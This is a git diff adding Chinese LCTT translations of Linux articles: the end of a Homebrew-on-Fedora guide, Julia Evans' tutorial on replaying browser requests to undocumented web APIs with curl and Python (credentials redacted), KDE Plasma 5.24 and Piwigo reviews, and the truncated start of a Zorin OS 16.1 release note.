+brew search +``` + +要获得一个“配方”的信息,请运行: + +``` +brew info +``` + +另外,你可以用以下命令查看所有已安装的“配方”: + +``` +brew list +``` + +### 卸载软件包 + +要从你的 Homebrew 前缀中卸载一个软件包,请运行: + +``` +brew uninstall +``` + +### 升级软件包 + +要升级一个用 Homebrew 安装的特定软件包,请运行: + +``` +brew upgrade +``` + +要更新 Homebrew 和所有已安装的“配方”到最新版本,请运行: + +``` +brew update +``` + +### 总结 + +Homebrew 是一个简单的包管理器,可以与 `dnf` 一起成为有用的工具(两者完全没有关系)。尽量坚持使用 Fedora 原生的 `dnf` 包管理器,以避免软件冲突。然而,如果你在 Fedora Linux 软件库中没有找到某个软件,那么你也许可以用 Homebrew 找到并安装它。请看 [“配方”列表][2] 以了解有哪些可用的软件。另外,Fedora Linux 上的 Homebrew 还不支持图形化应用(在 Homebrew 术语中称为“酒桶cask”)。至少,我在安装 GUI 应用时没有成功过。 + +### 参考资料和进一步阅读 + +要了解更多关于 Homebrew 的信息,请查看以下资源: + + * Homebrew 主页: + * Homebrew 文档: + * 维基百科 Homebrew 页面: + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/using-homebrew-package-manager-on-fedora-linux/ + +作者:[Mehdi Haghgoo][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/powergame/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/03/homebrew_sized-up-816x346.png +[2]: https://formulae.brew.sh/formula/ diff --git a/published/202203/20220310 How to use undocumented web APIs.md b/published/202203/20220310 How to use undocumented web APIs.md new file mode 100644 index 0000000000..3ca93cf7ec --- /dev/null +++ b/published/202203/20220310 How to use undocumented web APIs.md @@ -0,0 +1,229 @@ +[#]: subject: "How to use undocumented web APIs" +[#]: via: "https://jvns.ca/blog/2022/03/10/how-to-use-undocumented-web-apis/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14358-1.html" + +如何调用没有文档说明的 Web API +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/15/103119ab6yoika09og669a.jpg) + +大家好!几天前我写了篇 [小型的个人程序][1] 的文章,里面提到了调用没有文档说明的“秘密” API 很有意思,你需要从你的浏览器中把 cookie 复制出来才能访问。 + +有些读者问如何实现,因此我打算详细描述下,其实过程很简单。我们还会谈谈在调用没有文档说明的 API 时,可能会遇到的错误和道德问题。 + +我们用谷歌 Hangouts 举例。我之所以选择它,并不是因为这个例子最有用(我认为官方的 API 更实用),而是因为在这个场景中更有用的网站很多是小网站,而小网站的 API 一旦被滥用,受到的伤害会更大。因此我们使用谷歌 Hangouts,因为我 100% 肯定谷歌论坛可以抵御这种试探行为。 + +我们现在开始! + +### 第一步:打开开发者工具,找一个 JSON 响应 + +我浏览了 ,在 Firefox 的开发者工具中打开“网络Network”标签,找到一个 JSON 响应。你也可以使用 Chrome 的开发者工具。 + +打开之后界面如下图: + +![][2] + +找到其中一条 “类型Type” 列显示为 `json` 的请求。 + +为了找一条感兴趣的请求,我找了好一会儿,突然我找到一条 “people” 的端点,看起来是返回我们的联系人信息。听起来很有意思,我们来看一下。 + +### 第二步:复制为 cURL + +下一步,我在感兴趣的请求上右键,点击 “复制Copy” -> “复制为 cURLCopy as cURL”。 + +然后我把 `curl` 命令粘贴到终端并运行。下面是运行结果: + +``` +$ curl 'https://people-pa.clients6.google.com/v2/people/?key=REDACTED' -X POST ........ (省略了大量请求标头) +Warning: Binary output can mess up your terminal. Use "--output -" to tell +Warning: curl to output it to your terminal anyway, or consider "--output +Warning: " to save to a file. +``` + +你可能会想 —— 很奇怪,“二进制的输出在你的终端上无法正常显示” 是什么错误?原因是,浏览器默认情况下发给服务器的请求头中有 `Accept-Encoding: gzip, deflate` 参数,会把输出结果进行压缩。 + +我们可以通过管道把输出传递给 `gunzip` 来解压,但是我们发现不带这个参数进行请求会更简单。因此我们去掉一些不相关的请求头。 + +### 第三步:去掉不相关的请求头 + +下面是我从浏览器获得的完整 `curl` 命令。有很多行!我用反斜杠(`\`)把请求分开,这样每个请求头占一行,看起来更清晰: + +``` +curl 'https://people-pa.clients6.google.com/v2/people/?key=REDACTED' \ +-X POST \ +-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0' \ +-H 'Accept: */*' \ +-H 'Accept-Language: en' \ +-H 'Accept-Encoding: gzip, deflate' \ +-H 'X-HTTP-Method-Override: GET' \ +-H 'Authorization: SAPISIDHASH REDACTED' \ +-H 'Cookie: REDACTED' +-H 'Content-Type: application/x-www-form-urlencoded' \ +-H 'X-Goog-AuthUser: 0' \ +-H 'Origin: https://hangouts.google.com' \ +-H 'Connection: keep-alive' \ +-H 'Referer: https://hangouts.google.com/' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Site: same-site' \ +-H 'Sec-GPC: 1' \ +-H 'DNT: 1' \ +-H 'Pragma: no-cache' \ +-H 'Cache-Control: no-cache' \ +-H 'TE: trailers' \ +--data-raw 'personId=101777723309&personId=1175339043204&personId=1115266537043&personId=116731406166&extensionSet.extensionNames=HANGOUTS_ADDITIONAL_DATA&extensionSet.extensionNames=HANGOUTS_OFF_NETWORK_GAIA_GET&extensionSet.extensionNames=HANGOUTS_PHONE_DATA&includedProfileStates=ADMIN_BLOCKED&includedProfileStates=DELETED&includedProfileStates=PRIVATE_PROFILE&mergedPersonSourceOptions.includeAffinity=CHAT_AUTOCOMPLETE&coreIdParams.useRealtimeNotificationExpandedAcls=true&requestMask.includeField.paths=person.email&requestMask.includeField.paths=person.gender&requestMask.includeField.paths=person.in_app_reachability&requestMask.includeField.paths=person.metadata&requestMask.includeField.paths=person.name&requestMask.includeField.paths=person.phone&requestMask.includeField.paths=person.photo&requestMask.includeField.paths=person.read_only_profile_info&requestMask.includeField.paths=person.organization&requestMask.includeField.paths=person.location&requestMask.includeField.paths=person.cover_photo&requestMask.includeContainer=PROFILE&requestMask.includeContainer=DOMAIN_PROFILE&requestMask.includeContainer=CONTACT&key=REDACTED' +``` + +第一眼看起来内容有很多,但是现在你不需要考虑每一行是什么意思。你只需要把不相关的行删掉就可以了。 + +我通常通过删掉某行查看是否有错误来验证该行是不是可以删除 —— 只要请求没有错误就一直删请求头。通常情况下,你可以删掉 `Accept*`、`Referer`、`Sec-*`、`DNT`、`User-Agent` 和缓存相关的头。 + +在这个例子中,我把请求删成下面的样子: + +``` +curl 'https://people-pa.clients6.google.com/v2/people/?key=REDACTED' \ +-X POST \ +-H 'Authorization: SAPISIDHASH REDACTED' \ +-H 'Content-Type: application/x-www-form-urlencoded' \ +-H 'Origin: https://hangouts.google.com' \ +-H 'Cookie: REDACTED'\ +--data-raw 'personId=101777723309&personId=1175339043204&personId=1115266537043&personId=116731406166&extensionSet.extensionNames=HANGOUTS_ADDITIONAL_DATA&extensionSet.extensionNames=HANGOUTS_OFF_NETWORK_GAIA_GET&extensionSet.extensionNames=HANGOUTS_PHONE_DATA&includedProfileStates=ADMIN_BLOCKED&includedProfileStates=DELETED&includedProfileStates=PRIVATE_PROFILE&mergedPersonSourceOptions.includeAffinity=CHAT_AUTOCOMPLETE&coreIdParams.useRealtimeNotificationExpandedAcls=true&requestMask.includeField.paths=person.email&requestMask.includeField.paths=person.gender&requestMask.includeField.paths=person.in_app_reachability&requestMask.includeField.paths=person.metadata&requestMask.includeField.paths=person.name&requestMask.includeField.paths=person.phone&requestMask.includeField.paths=person.photo&requestMask.includeField.paths=person.read_only_profile_info&requestMask.includeField.paths=person.organization&requestMask.includeField.paths=person.location&requestMask.includeField.paths=person.cover_photo&requestMask.includeContainer=PROFILE&requestMask.includeContainer=DOMAIN_PROFILE&requestMask.includeContainer=CONTACT&key=REDACTED' +``` + +这样我只需要 4 个请求头:`Authorization`、`Content-Type`、`Origin` 和 `Cookie`。这样容易管理得多。 + +### 第四步:在 Python 中发请求 + +现在我们知道了我们需要哪些请求头,我们可以把 `curl` 命令翻译进 Python 程序!这部分是相当机械化的过程,目标仅仅是用 Python 发送与 cUrl 相同的数据。 + +下面是代码实例。我们使用 Python 的 `requests` 包实现了与前面 `curl` 命令相同的功能。我把整个长请求分解成了元组的数组,以便看起来更简洁。 + +``` +import requests +import urllib + +data = [ + ('personId','101777723'), # I redacted these IDs a bit too + ('personId','117533904'), + ('personId','111526653'), + ('personId','116731406'), + ('extensionSet.extensionNames','HANGOUTS_ADDITIONAL_DATA'), + ('extensionSet.extensionNames','HANGOUTS_OFF_NETWORK_GAIA_GET'), + ('extensionSet.extensionNames','HANGOUTS_PHONE_DATA'), + ('includedProfileStates','ADMIN_BLOCKED'), + ('includedProfileStates','DELETED'), + ('includedProfileStates','PRIVATE_PROFILE'), + ('mergedPersonSourceOptions.includeAffinity','CHAT_AUTOCOMPLETE'), + ('coreIdParams.useRealtimeNotificationExpandedAcls','true'), + ('requestMask.includeField.paths','person.email'), + ('requestMask.includeField.paths','person.gender'), + ('requestMask.includeField.paths','person.in_app_reachability'), + ('requestMask.includeField.paths','person.metadata'), + ('requestMask.includeField.paths','person.name'), + ('requestMask.includeField.paths','person.phone'), + ('requestMask.includeField.paths','person.photo'), + ('requestMask.includeField.paths','person.read_only_profile_info'), + ('requestMask.includeField.paths','person.organization'), + ('requestMask.includeField.paths','person.location'), + ('requestMask.includeField.paths','person.cover_photo'), + ('requestMask.includeContainer','PROFILE'), + ('requestMask.includeContainer','DOMAIN_PROFILE'), + ('requestMask.includeContainer','CONTACT'), + ('key','REDACTED') +] +response = requests.post('https://people-pa.clients6.google.com/v2/people/?key=REDACTED', + headers={ + 'X-HTTP-Method-Override': 'GET', + 'Authorization': 'SAPISIDHASH REDACTED', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://hangouts.google.com', + 'Cookie': 'REDACTED', + }, + data=urllib.parse.urlencode(data), +) + +print(response.text) +``` + +我执行这个程序后正常运行 —— 输出了一堆 JSON 数据!太棒了! + +你会注意到有些地方我用 `REDACTED` 代替了,因为如果我把原始数据列出来你就可以用我的账号来访问谷歌论坛了,这就很不好了。 + +### 运行结束! + +现在我可以随意修改 Python 程序,比如传入不同的参数,或解析结果等。 + +我不打算用它来做其他有意思的事了,因为我压根对这个 API 没兴趣,我只是用它来阐述请求 API 的过程。 + +但是你确实可以对返回的一堆 JSON 做一些处理。 + +### curlconverter 看起来很强大 + +有人评论说可以使用 自动把 curl 转换成 Python(和一些其他的语言!),这看起来很神奇 —— 我都是手动转的。我在这个例子里使用了它,看起来一切正常。 + +### 追踪 API 的处理过程并不容易 + +我不打算夸大追踪 API 处理过程的难度 —— API 的处理过程并不明显!我也不知道传给这个谷歌论坛 API 的一堆参数都是做什么的! + +但是有一些参数看起来很直观,比如 `requestMask.includeField.paths=person.email` 可能表示“包含每个人的邮件地址”。因此我只关心我能看懂的参数,不关心看不懂的。 + +### (理论上)适用于所有场景 + +可能有人质疑 —— 这个方法适用于所有场景吗? + +答案是肯定的 —— 浏览器不是魔法!浏览器发送给你的服务器的所有信息都是 HTTP 请求。因此如果我复制了浏览器发送的所有的 HTTP 请求头,那么后端就会认为请求是从我的浏览器发出的,而不是用 Python 程序发出的。 + +当然,我们去掉了一些浏览器发送的请求头,因此理论上后端是可以识别出来请求是从浏览器还是 Python 程序发出的,但是它们通常不会检查。 + +这里有一些对读者的告诫 —— 一些谷歌服务的后端会通过令人难以理解(对我来说是)方式跟前端通信,因此即使理论上你可以模拟前端的请求,但实际上可能行不通。可能会遭受更多攻击的大型 API 会有更多的保护措施。 + +我们已经知道了如何调用没有文档说明的 API。现在我们再来聊聊可能遇到的问题。 + +### 问题 1:会话 cookie 过期 + +一个大问题是我用我的谷歌会话 cookie 作为身份认证,因此当我的浏览器会话过期后,这个脚本就不能用了。 + +这意味着这种方式不能长久使用(我宁愿调一个真正的 API),但是如果我只是要一次性快速抓取一小组数据,那么可以使用它。 + +### 问题 2:滥用 + +如果我正在请求一个小网站,那么我的 Python 脚本可能会把服务打垮,因为请求数超出了它们的处理能力。因此我请求时尽量谨慎,尽量不过快地发送大量请求。 + +这尤其重要,因为没有官方 API 的网站往往是些小网站且没有足够的资源。 + +很明显在这个例子中这不是问题 —— 我认为在写这篇文章的过程我一共向谷歌论坛的后端发送了 20 次请求,他们肯定可以处理。 + +如果你用自己的账号身份过度访问这个 API 并导致了故障,那么你的账号可能会被暂时封禁(情理之中)。 + +我只下载我自己的数据或公共的数据 —— 我的目的不是寻找网站的弱点。 + +### 请记住所有人都可以访问你没有文档说明的 API + +我认为本文最重要的信息并不是如何使用其他人没有文档说明的 API。虽然很有趣,但是也有一些限制,而且我也不会经常这么做。 + +更重要的一点是,任何人都可以这么访问你后端的 API!每个人都有开发者工具和网络标签,查看你传到后端的参数、修改它们都很容易。 + +因此如果一个人通过修改某些参数来获取其他用户的信息,这不值得提倡。我认为提供公开 API 的大部分开发者们都知道,但是我之所以再提一次,是因为每个初学者都应该了解。: ) + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/03/10/how-to-use-undocumented-web-apis/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy +](https://github.com/wxy +) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://jvns.ca/blog/2022/03/08/tiny-programs/ +[2]: https://jvns.ca/images/network-tab.png diff --git a/published/202203/20220310 KDE Plasma 5.24 Review. A Crafted Desktop to Dominate the Linux World.md b/published/202203/20220310 KDE Plasma 5.24 Review. A Crafted Desktop to Dominate the Linux World.md new file mode 100644 index 0000000000..2490c602d9 --- /dev/null +++ b/published/202203/20220310 KDE Plasma 5.24 Review. A Crafted Desktop to Dominate the Linux World.md @@ -0,0 +1,120 @@ +[#]: subject: "KDE Plasma 5.24 Review. A Crafted Desktop to Dominate the Linux World" +[#]: via: "https://www.debugpoint.com/2022/03/kde-plasma-5-24-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14352-1.html" + +KDE Plasma 5.24:精心制作的主宰 Linux 世界的桌面 +====== + +> 是时候对前段时间发布的 KDE Plasma 5.24 桌面进行一次简单的回顾和点评了。 + +KDE 团队用他们完美的 KDE Plasma 5.24 再次做到了。一个在效率、新功能、性能、稳定性和一切方面都非常完美的版本为所有用户带来了一个优秀的桌面环境。 + +KDE Plasma 5.24 是 Plasma 的第 26 个版本,也是长期支持(LTS)版本,它将为 Kubuntu 22.04 LTS Jammy Jellyfish 添彩。这意味着你、我和全世界成千上万的用户将使用这个版本两年或更长的时间。你可以想象这个版本是多么重要。 + +不多说了,让我们去快速点评一下 KDE Plasma 5.24。 + +![KDE Plasma 5.24 桌面](https://img.linux.net.cn/data/attachment/album/202203/12/202450k5x811c83661w3ix.jpg) + +### KDE Plasma 5.24 点评 + +#### 安装 + +我在 Fedora 上使用 [KDE Plasma 5.24][2] 已经有一段时间了。这次是直接从 [KDE Plasma 5.23][3] 升级而来。在升级过程中,一切都很顺利。所有的用户配置的设置都保持不变,只有默认的壁纸在升级后被改变了。所以,数据或启动加载出现问题是几乎不可能的。 + +我在一个实体系统中安装了 KDE Plasma 5.24 和 KDE Neon 用户版以进一步测试。在一个 4GB 内存的英特尔 i3 系统中,安装很顺利,大约花了 8 分钟。 + +这个测试系统上还有另一个操作系统,所以安装程序完美地检测到了所有的操作系统并正确地更新了 GRUB。 + +#### 新功能、外观和可用性 + +Plasma 5.24 看起来很震撼。第一次启动后呈现出一个干净的桌面,具有经典的外观和极其漂亮的壁纸。默认的 Breeze Light 主题加上新的边框和装饰,对每个用户来说几乎是完美的。如果你很好奇,想给你的 Plasma 换一个不同的外观,那么所有的设置,如重点颜色之类的都在那里。你不需要通过什么秘籍或命令行来改变外观。 + +新设计的概览屏幕给你一种 GNOME 的氛围,但在 KDE 环境下,当你设置好它时,它就会变得非常棒。 + +![KDE Plasma 概览效果][4] + +在我的测试中,我尝试了蓝牙、Wi-Fi 和打印(安装 HPLIP 后)—— 都很顺利。没有磕磕绊绊,也不需要命令行,一切都开箱即用。KDE Plasma 的通知区应该可以让你访问所有必要的选项,你很少需要访问系统设置对话框。 + +![蓝牙设置很简单][5] + +电池使用情况尚可,我认为在我的测试硬件上,自 Plasma 5.23 以来,电池使用情况略有改善。我把测试机保持在待机状态,Plasma 很轻松就唤醒了,没有任何问题。我知道有些 Linux 发行版在睡眠后无法唤醒,导致你得在 TTY 里重启或启动 X 会话。 + +#### 稳定性和性能 + +不管你是一个 Plasma 的新用户还是长期用户,Plasma 5.24 都会让你有宾至如归的感觉;一切都准备好了,没有错误,等待你的行动和工作流程。 + +在我的测试期间中,我没有遇到任何错误。因此,我 [快速翻阅][7] 了 KDE 官方论坛,看看在发布后的一个月内报告了多少种问题以及有多少问题。不多,实际上只有寥寥两位数。而且报告的问题大多与高端显示器和网络有关,我觉得这与特定的专业硬件有关。 + +但总的来说,如今它是一个构建良好且经过测试的桌面。 + +在过去的几个版本中,KDE Plasma 在任何硬件上的性能都是完美的。而这个版本也证明了这一点。 + +在空闲阶段,KDE Plasma 5.24 消耗了 614MB 的内存,CPU 使用率为 2%。 + +![KDE Plasma 5.24 在闲置模式下的性能][8] + +我通过 Firefox 运行了五个标签,并播放了 Youtube。同时,用一个文件管理器、文本编辑器、图片浏览器、系统设置和“发现”包管理器的实例来测试重载下的性能。这个用例使用了 1.29GB 的内存,而 CPU 平均在 6% 到 7%。 + +显然,Firefox 消耗了大部分的系统资源。 + +![KDE Plasma 5.24 在重度工作负载模式下][9] + +我必须说,这是一个了不起的性能指标。 + +所以,有了这个版本,就有了一个完美的 Plasma 桌面。 + +#### 如何获得 KDE Plasma 5.24 + +KDE Plasma 5.24 现在可以在 KDE Neon 用户版,和通过 Backports PPA 在 Fedora 35 和 Kubuntu 21.10 上使用。如果你想重新安装,你可以从 [这里][10] 下载它。 + +如果你使用的是 Fedora 35 和 Kubuntu 21.10,请按照这些指南来获得这个版本。 + +- [在 Fedora 上升级 Plasma][11] +- [如何在 Kubuntu 21.10 中安装 KDE Plasma 5.24][12] + +### 结束语 + +我为我们的网站点评测试过许多 Linux 发行版和桌面环境。没有哪个能在各个方面接近 KDE Plasma。我知道 GNOME 设计得很好,而且还有其他的小亮点,但是,当你需要一个省心的系统,而且几乎所有的自定义选项都开箱即用时,KDE Plasma 几十年来一直是赢家。 + +有的时候,为了让系统能在短时间内运行起来而无需太多折腾,我只有安装 KDE Plasma 才行。因为到最后,它肯定能工作,所有的选项都可以供你使用。 + +我认为运行 KDE Plasma 的 Kubuntu/Fedora 和 Linux Mint 是当今世界上最好的几个发行版,毫无疑问。 + +作为对本篇 KDE Plasma 5.24 点评的总结,我必须得承认,KDE Plasma 5.24 LTS 是该团队的一个本垒打。我们很高兴 KDE 的存在,并将在未来的日子里占据主导地位。 + +加油! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/kde-plasma-5-24-review/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/02/KDE-Plasma-5.4-Desktop-1024x576.jpg +[2]: https://www.debugpoint.com/2022/01/kde-plasma-5-24/ +[3]: https://www.debugpoint.com/2021/08/kde-plasma-5-23/ +[4]: https://www.debugpoint.com/wp-content/uploads/2021/11/KDE-Plasma-Overview-Effect-1-1024x434.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/03/Easy-Bluetooth-Setup.jpg +[6]: https://www.debugpoint.com/2021/05/archcraft-os-review/ +[7]: https://forum.kde.org/search.php?keywords=5.24&terms=all&author=&tags=&sv=0&sc=1&sf=all&sr=posts&sk=t&sd=d&st=30&ch=300&t=0&submit=Search +[8]: https://www.debugpoint.com/wp-content/uploads/2022/03/KDE-Plasma-5.24-Performance-in-Idle-Mode.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/03/KDE-Plasma-5.24-in-Heavy-Workload-Mode.jpg +[10]: https://neon.kde.org/download +[11]: https://www.debugpoint.com/2022/02/upgrade-kde-plasma-5-24/ +[12]: https://www.debugpoint.com/wp-admin/post.php?post=9018&action=edit +[13]: https://t.me/debugpoint +[14]: https://twitter.com/DebugPoint +[15]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[16]: https://facebook.com/DebugPoint diff --git a/published/202203/20220310 Piwigo- An Open-Source Google Photos Alternative That You Can Self-Host.md b/published/202203/20220310 Piwigo- An Open-Source Google Photos Alternative That You Can Self-Host.md new file mode 100644 index 0000000000..0aeead1e08 --- /dev/null +++ b/published/202203/20220310 Piwigo- An Open-Source Google Photos Alternative That You Can Self-Host.md @@ -0,0 +1,158 @@ +[#]: subject: "Piwigo: An Open-Source Google Photos Alternative That You Can Self-Host" +[#]: via: "https://itsfoss.com/piwigo/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14389-1.html" + +Piwigo:一个你可以自行托管的开源谷歌照片替代品 +====== + +> 如果你想摆脱“谷歌照片”,Piwigo 是一个令人印象深刻的开源替代方案,能够自我托管。让我们来探讨一下它的更多信息。 + +“谷歌照片”是备份你的照片和视频的最流行的选择之一。(LCTT 译注:并不是……) + +考虑到它是大多数安卓手机的默认选择,使用谷歌照片管理照片/视频是一种无缝体验。 + +但是,如果你想从它那里转移到一些开源的、对隐私更友好的东西怎么办?不只是谷歌照片,还有其它一些照片托管平台也是专有的。 + +请看看 Piwigo,一个开源的 [照片管理软件][1] 来帮助你。 + +### Piwigo:你可以自行托管的开源照片库 + +![][2] + +[Piwigo][3] 是一个开源解决方案,可以帮助管理你的照片和视频。 + +你可以选择自己托管,控制你的数据,或者选择云托管(**数据存储在法国,有备份**)。 + +顺便说一句,该公司起源于法国。 + +不仅仅是针对个人,Piwigo 也为组织和团队量身定做。 + +如果你担心使用谷歌照片或类似服务上传时的隐私政策,Piwigo 可以成为一个出色的替代品。 + +Piwigo 提供了一系列的功能和细粒度的控制来管理你的照片。 + +### Piwigo 的功能 + +![][4] + +虽然它是主流服务的一个可行的替代品,但它为个人和组织提供了先进的功能。 + +一些功能包括: + + * 通过云托管(\*.piwigo.com)获得你的专用子域 + * 能够批量下载 + * 创建相册 + * 选择照片来分配现有的相册集 + * 通过链接分享照片 + * 用公共和私人模式进行访问管理 + * 能够对用户进行分组,以管理你的相册或照片(对组织/团队来说很有效)。 + * 基本分析,以跟踪你的使用情况和使用的存储空间 + * 支持向相册/照片添加标签 + * 支持深色模式 + * 能够编辑照片的元数据 + * 过滤器,以快速找到照片/相册 + * 支持 JPG/JPEG、PNG 和 GIF 文件(针对个人) + * 支持所有文件类型(仅适用于企业使用) + * 为个人用户提供无限的存储空间 + * 支持自定义域名(即使是云托管选项) + * 插件可扩展功能 + * 支持主题 + * 移动支持(安卓和 iOS) + +除了上述功能外,你还可以获得改善用户管理和 Piwigo 的整体用户体验的更多选项。 + +![][5] + +我使用其针对个人的云托管选项(**有 30 天的试用期**)对其进行了快速测试。让我分享我的一些见解,以帮助你在尝试之前了解它们。 + +### 使用 Piwigo 来管理照片 + +当你注册一个账户时,你可以指定你的自定义子域。 + +例如,我把我的测试账户放在 **ankushsoul.piwigo.com**。 + +![][6] + +任何人都可以通过在他们的浏览器中输入上述 URL 来访问我公开分享的照片/相册。 + +所以,最好是尽可能保持子域的名称独一无二。在这两种情况下,你也可以将相册/照片限制给登录的用户(或你自己),其他人即使知道你的子域,也无法访问你的照片。 + +![][7] + +你可以前往它的仪表板,检查你的存储使用情况和整体活动情况。 + +它有两个激活的插件,一个用于内部功能,另一个默认用于打击垃圾信息。 + +![][8] + +你会发现有很多插件可以加强批量管理,启用管理员信息,激活相册的评论,在你的相册上添加到期时间,限制下载,以及访问一些令人兴奋的功能。 + +你可以花点时间浏览一下现有的插件选择,评估一下它们与谷歌照片相比能有多大用处。 + +当然,你在任何主流的云照片托管服务中都得不到这种控制。 + +所以,这很值得探索。 + +![][9] + +对于现有的其他功能,你可以管理多个用户,控制访问,发送通知(通过电子邮件),还可以进行一些维护活动。 + +总的来说,用户体验是相当好的。它可能没有提供最现代的用户界面,但它可以工作,而且很容易管理。 + +**注意**:考虑到 Play Store 上的应用没有收到最新的更新,移动体验(在 Android 上)可能并不令人满意。然而,你可以在他们的 GitHub 上找到最新版本的 APK 文件。 + +### 开始使用 Piwigo + +我认为 Piwigo 非常适合各类人使用,从想组织照片的人,到想合作/分享图片的用户,都可以使用。 + +如果你选择自我托管,你应该查看它的 [文档][10] 和探索 [GitHub 页面][11]。 + +考虑到你独自管理它,你将需要适当地维护实例,并对你的数据进行备份。 + +如果你选择 [云托管选项][12](作为个人),定价从每年 **39 欧元** 开始,不限图片文件上传,如果你订阅 3 年,价格会更便宜。 + +![][13] + +个人计划没有提到具体的存储限制(无限)。因此,可以说你不应该有任何问题,除非你开始滥用该服务。 + +鉴于你在该服务中得到的控制权,大多数用户会更愿意使用云托管服务,而放弃像谷歌照片这样的服务。 + +企业/组织的定价计划将是昂贵的(每月)。然而,它支持企业的所有文件类型。 + +- [Piwigo][3] + +你认为像 Piwigo 这样的谷歌照片的自行托管替代品如何?你试过吗?云主机选项是主流选项的可行替代品吗? + +请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/piwigo/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/linux-photo-management-software/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/piwigo-feature.jpg?resize=800%2C424&ssl=1 +[3]: https://piwigo.com/ +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/piwigo-album-edit.png?resize=800%2C451&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/piwigo-upload.png?resize=800%2C665&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/piwigo-sign-up.png?resize=800%2C646&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/piwigo-dashboard.png?resize=800%2C435&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/piwigo-plugins.png?resize=800%2C499&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/piwigo-config.png?resize=800%2C632&ssl=1 +[10]: https://piwigo.org/doc/doku.php +[11]: https://github.com/Piwigo +[12]: https://piwigo.com/pricing +[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/piwigo-pricing.png?resize=800%2C509&ssl=1 \ No newline at end of file diff --git a/published/202203/20220311 Zorin OS 16.1 Brings Much Needed Stability and Improvements.md b/published/202203/20220311 Zorin OS 16.1 Brings Much Needed Stability and Improvements.md new file mode 100644 index 0000000000..2814ffa5ae --- /dev/null +++ b/published/202203/20220311 Zorin OS 16.1 Brings Much Needed Stability and Improvements.md @@ -0,0 +1,71 @@ +[#]: subject: "Zorin OS 16.1 Brings Much Needed Stability and Improvements" +[#]: via: "https://www.debugpoint.com/2022/03/zorin-os-16-1-release/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14365-1.html" + +Zorin OS 16.1 带来了急需的稳定性和改进措施 +====== + +> Zorin OS 16.1 带来了安全补丁、新软件,团队的目标是打造更好的发行版。 + +Zorin OS 之所以受欢迎,是因为它为 Windows 用户的 Linux 之旅提供了一个完美的起点。由于其简单的设计、优雅的软件包选择和开箱即用的 Windows 外观,它是当今所有用户欢迎和追捧的 Linux 发行版之一。 + +自 [Zorin OS 16][1] 以来,经过近两个月的时间,这第一个小版本现在可以供已经在运行 16.0 版本的用户下载和升级了。 + +![Zorin OS 16.1 Desktop][2] + +### Zorin OS 16.1 - 新内容 + +Zorin OS 16.1 为你的系统带来了最新安全补丁,包括 LibreOffice 7.3 办公套件和一些更新的软件包。 + +如果你刚买了一台新的笔记本电脑或安装了一个新的游戏工作站,Zorin OS 16.1 还支持索尼的 PlayStation 5 Dual Sense 游戏控制器和苹果的魔术鼠标 2。此外,你还得到了对英特尔第 12 代处理器和英伟达 RTX 3050 显卡的出色支持。 + +此外,由于最新的软件包,Zorin 开发人员承诺对汽车 Wi-Fi 和打印机有更好的支持。 + +下面是这个小版本的更新包和应用的快速总结。 + + * 基于 Ubuntu 20.04.3 LTS + * Zorin 桌面,基于 GNOME 3.38.4 + * 